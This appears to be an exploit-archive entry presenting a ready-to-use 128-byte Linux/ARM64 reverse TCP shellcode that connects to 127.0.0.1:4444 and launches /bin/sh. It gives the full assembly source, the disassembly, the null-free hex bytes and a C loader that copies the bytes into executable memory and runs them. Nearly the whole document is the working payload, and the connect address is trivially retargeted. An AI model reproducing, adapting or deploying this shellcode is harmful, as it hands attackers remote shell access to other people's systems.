Linux/ARM64 Reverse TCP Shell Null-Free Shellcode

128 bytes small Linux/ARM64 reverse (127.0.0.1:4444/TCP) shell (/bin/sh) + null-free shellcode.


MD5 | baf3acf539d89d5984b5d12485f4cc8c

/*
# Title: Linux/ARM64 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (128 bytes)
# Date: 2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c


[email protected]:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu Xenial Xerus (development branch)
Release: 16.04
Codename: xenial
[email protected]:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
[email protected]:~/works$ cat revshell.s
.section .text
.global _start
_start:
// s = socket(2, 1, 0)
mov x8, #198
lsr x1, x8, #7
lsl x0, x1, #1
mov x2, xzr
svc #0x1337

// save s
mvn x4, x0

// connect(s, &sockaddr, 16)
lsl x1, x1, #1
movk x1, #0x5C11, lsl #16
movk x1, #0x7F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]!
add x1, sp, x2
mov x2, #16
mov x8, #203
svc #0x1337

lsr x1, x2, #2

dup3:
// dup3(s, 2, 0)
// dup3(s, 1, 0)
// dup3(s, 0, 0)
mvn x0, x4
lsr x1, x1, #1
mov x2, xzr
mov x8, #24
svc #0x1337
mov x10, xzr
cmp x10, x1
bne dup3

// execve("/bin/sh", 0, 0)
mov x3, #0x622F
movk x3, #0x6E69, lsl #16
movk x3, #0x732F, lsl #32
movk x3, #0x68, lsl #48
str x3, [sp, #-8]!
add x0, sp, x1
mov x8, #221
svc #0x1337
[email protected]:~/works$ as -o revshell.o revshell.s && ld -o revshell revshell.o
[email protected]:~/works$ objdump -d ./revshell

./revshell: file format elf64-littleaarch64


Disassembly of section .text:

0000000000400078 <_start>:
400078: d28018c8 mov x8, #0xc6 // #198
40007c: d347fd01 lsr x1, x8, #7
400080: d37ff820 lsl x0, x1, #1
400084: aa1f03e2 mov x2, xzr
400088: d40266e1 svc #0x1337
40008c: aa2003e4 mvn x4, x0
400090: d37ff821 lsl x1, x1, #1
400094: f2ab8221 movk x1, #0x5c11, lsl #16
400098: f2c00fe1 movk x1, #0x7f, lsl #32
40009c: f2e02001 movk x1, #0x100, lsl #48
4000a0: f81f8fe1 str x1, [sp,#-8]!
4000a4: 8b2263e1 add x1, sp, x2
4000a8: d2800202 mov x2, #0x10 // #16
4000ac: d2801968 mov x8, #0xcb // #203
4000b0: d40266e1 svc #0x1337
4000b4: d342fc41 lsr x1, x2, #2

00000000004000b8 <dup3>:
4000b8: aa2403e0 mvn x0, x4
4000bc: d341fc21 lsr x1, x1, #1
4000c0: aa1f03e2 mov x2, xzr
4000c4: d2800308 mov x8, #0x18 // #24
4000c8: d40266e1 svc #0x1337
4000cc: aa1f03ea mov x10, xzr
4000d0: eb01015f cmp x10, x1
4000d4: 54ffff21 b.ne 4000b8 <dup3>
4000d8: d28c45e3 mov x3, #0x622f // #25135
4000dc: f2adcd23 movk x3, #0x6e69, lsl #16
4000e0: f2ce65e3 movk x3, #0x732f, lsl #32
4000e4: f2e00d03 movk x3, #0x68, lsl #48
4000e8: f81f8fe3 str x3, [sp,#-8]!
4000ec: 8b2163e0 add x0, sp, x1
4000f0: d2801ba8 mov x8, #0xdd // #221
4000f4: d40266e1 svc #0x1337
[email protected]:~/works$ objcopy -O binary revshell revshell.bin
[email protected]:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' revshell.bin && echo
\xc8\x18\x80\xd2\x01\xfd\x47\xd3\x20\xf8\x7f\xd3\xe2\x03\x1f\xaa\xe1\x66\x02\xd4\xe4\x03\x20\xaa\x21\xf8\x7f\xd3\x21\x82\xab\xf2\xe1\x0f\xc0\xf2\x01\x20\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x63\x22\x8b\x02\x02\x80\xd2\x68\x19\x80\xd2\xe1\x66\x02\xd4\x41\xfc\x42\xd3\xe0\x03\x24\xaa\x21\xfc\x41\xd3\xe2\x03\x1f\xaa\x08\x03\x80\xd2\xe1\x66\x02\xd4\xea\x03\x1f\xaa\x5f\x01\x01\xeb\x21\xff\xff\x54\xe3\x45\x8c\xd2\x23\xcd\xad\xf2\xe3\x65\xce\xf2\x03\x0d\xe0\xf2\xe3\x8f\x1f\xf8\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4

*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"\xc8\x18\x80\xd2\x01\xfd\x47\xd3\x20\xf8\x7f\xd3\xe2\x03\x1f\xaa"
"\xe1\x66\x02\xd4\xe4\x03\x20\xaa\x21\xf8\x7f\xd3\x21\x82\xab\xf2"
"\xe1\x0f\xc0\xf2\x01\x20\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x63\x22\x8b"
"\x02\x02\x80\xd2\x68\x19\x80\xd2\xe1\x66\x02\xd4\x41\xfc\x42\xd3"
"\xe0\x03\x24\xaa\x21\xfc\x41\xd3\xe2\x03\x1f\xaa\x08\x03\x80\xd2"
"\xe1\x66\x02\xd4\xea\x03\x1f\xaa\x5f\x01\x01\xeb\x21\xff\xff\x54"
"\xe3\x45\x8c\xd2\x23\xcd\xad\xf2\xe3\x65\xce\xf2\x03\x0d\xe0\xf2"
"\xe3\x8f\x1f\xf8\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4";

int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}

memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;

sc();

return 0;
}

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